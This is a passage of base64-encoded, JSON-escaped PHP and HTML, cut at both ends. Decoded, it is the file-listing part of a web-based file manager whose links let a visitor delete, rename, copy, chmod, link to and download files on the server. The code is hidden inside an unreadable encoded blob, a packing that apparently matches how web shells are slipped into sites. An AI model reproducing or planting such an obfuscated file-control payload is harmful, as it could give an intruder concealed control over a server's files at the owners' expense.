BjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7X